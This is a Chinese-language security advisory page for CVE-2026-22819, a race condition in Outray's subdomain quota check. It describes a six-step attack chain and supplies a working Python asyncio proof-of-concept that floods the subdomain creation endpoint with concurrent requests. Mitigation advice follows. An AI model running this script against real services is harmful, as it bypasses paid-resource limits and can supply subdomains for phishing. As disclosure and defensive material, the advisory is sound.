IPBUF安全漏洞报告
English
CVE-2026-22819 CVSS 5.9 中危

CVE-2026-22819 Outray 子域名配额竞态条件漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2026-22819
漏洞类型
竞态条件/业务逻辑漏洞
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Outray (开源ngrok替代方案)

相关标签

暂无标签

漏洞概述

CVE-2026-22819是Outray开源项目中的一个中等严重性安全漏洞,该项目是ngrok的开源替代方案。漏洞存在于子域名分配功能的数据库事务处理机制中。在0.1.5版本之前,由于缺乏适当的数据库事务锁机制,免费计划用户可以通过并发请求的方式突破子域名配额限制,获取超出其账户允许数量的子域名资源。该漏洞的核心问题位于main/apps/web/src/routes/api/$orgSlug/subdomains/index.ts文件中,攻击者可以利用多个并发请求同时检查配额并创建子域名,在数据库锁机制缺失的情况下实现配额绕过。此类漏洞虽然不直接导致系统被完全控制或数据泄露,但会破坏服务的资源分配公平性原则,影响付费用户的权益和服务质量。攻击者仅需拥有低权限账户即可实施攻击,无需特殊权限或用户交互,攻击复杂度较低。漏洞于2026年1月14日被披露并发布修复版本,建议所有用户立即升级至0.1.5或更高版本以消除安全风险。

技术细节

Outray是一款开源的内网穿透工具,提供类似ngrok的功能,允许用户将本地服务暴露到公网。该漏洞源于子域名配额检查与分配操作之间缺乏原子性保证。在正常业务逻辑中,系统应该首先检查用户当前已使用的子域名数量是否达到配额上限,只有在配额允许的情况下才能创建新的子域名。然而,由于数据库操作缺少事务锁机制,攻击者可以构造多个并发HTTP请求同时到达配额检查点。多个请求会同时通过配额检查(因为它们在数据库更新前都已查询到未超配额的状态),随后各自创建子域名记录,导致实际创建的子域名数量超过配额限制。具体攻击步骤如下:攻击者首先注册一个免费账户,该账户通常限制只能使用1-3个子域名。然后攻击者使用脚本或工具(如Burp Suite、Python asyncio等)构造大量并发POST请求到子域名创建API端点。由于缺少行级锁或乐观锁机制,所有并发请求在检查配额时都看到相同的状态,最终全部成功创建子域名。漏洞利用的关键在于数据库事务隔离级别不足以防止此类竞态条件,开发者需要在检查和创建操作之间添加适当的锁机制或使用原子操作确保配额检查的准确性。

攻击链分析

STEP 1
信息收集
攻击者识别目标Outray实例,获取API端点结构和认证机制。注册免费账户获取基础访问权限。
STEP 2
配额探测
通过正常API调用测试账户的子域名配额限制,通常免费账户限制为1-3个子域名。
STEP 3
并发请求构造
使用自动化工具(如Python asyncio、curl循环、Burp Suite Intruder)构造大量并发POST请求到/api/{orgSlug}/subdomains端点。
STEP 4
竞态触发
所有并发请求几乎同时到达配额检查点,由于缺少数据库事务锁,多个请求同时通过配额验证(它们在数据库更新前都查询到未超配额的状态)。
STEP 5
配额绕过
所有并发请求都成功创建子域名记录,导致实际创建的子域名数量远超配额限制,实现资源配额绕过。
STEP 6
持久化利用
攻击者可以使用这些超额子域名进行后续攻击活动,如钓鱼攻击、恶意服务托管等,破坏服务公平性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22819 PoC - Outray Subdomain Quota Race Condition # This PoC demonstrates the race condition vulnerability in Outray's subdomain allocation import asyncio import aiohttp import json async def create_subdomain(session, base_url, org_slug, token, index): """Send a single subdomain creation request""" url = f"{base_url}/api/{org_slug}/subdomains" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } data = { "name": f"test-subdomain-{index}", "target": f"http://localhost:{8000+index}" } try: async with session.post(url, headers=headers, json=data) as response: return { "index": index, "status": response.status, "response": await response.json() if response.status == 200 else await response.text() } except Exception as e: return {"index": index, "error": str(e)} async def exploit_race_condition(base_url, org_slug, token, num_requests=10): """ Exploit the race condition to obtain more subdomains than allowed. In a properly secured system, only the quota-limited number of subdomains should be created. """ async with aiohttp.ClientSession() as session: # Create multiple concurrent requests to trigger race condition tasks = [ create_subdomain(session, base_url, org_slug, token, i) for i in range(num_requests) ] results = await asyncio.gather(*tasks) # Analyze results successful = [r for r in results if r.get("status") == 200] print(f"Total requests: {num_requests}") print(f"Successful creations: {len(successful)}") print(f"Failed requests: {len(results) - len(successful)}") return results # Example usage if __name__ == "__main__": BASE_URL = "https://your-outray-instance.com" ORG_SLUG = "your-org" TOKEN = "your-auth-token" # Launch concurrent requests to exploit the vulnerability asyncio.run(exploit_race_condition(BASE_URL, ORG_SLUG, TOKEN, num_requests=20))

影响范围

Outray < 0.1.5

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 限制免费账户的子域名创建API调用频率;2) 在负载均衡器层面添加请求限流规则;3) 启用应用层的并发控制机制,使用分布式锁服务(如Redis)保护配额检查逻辑;4) 临时禁用子域名创建功能直到完成升级。同时建议监控异常的大量子域名创建行为,及时发现和阻止潜在攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表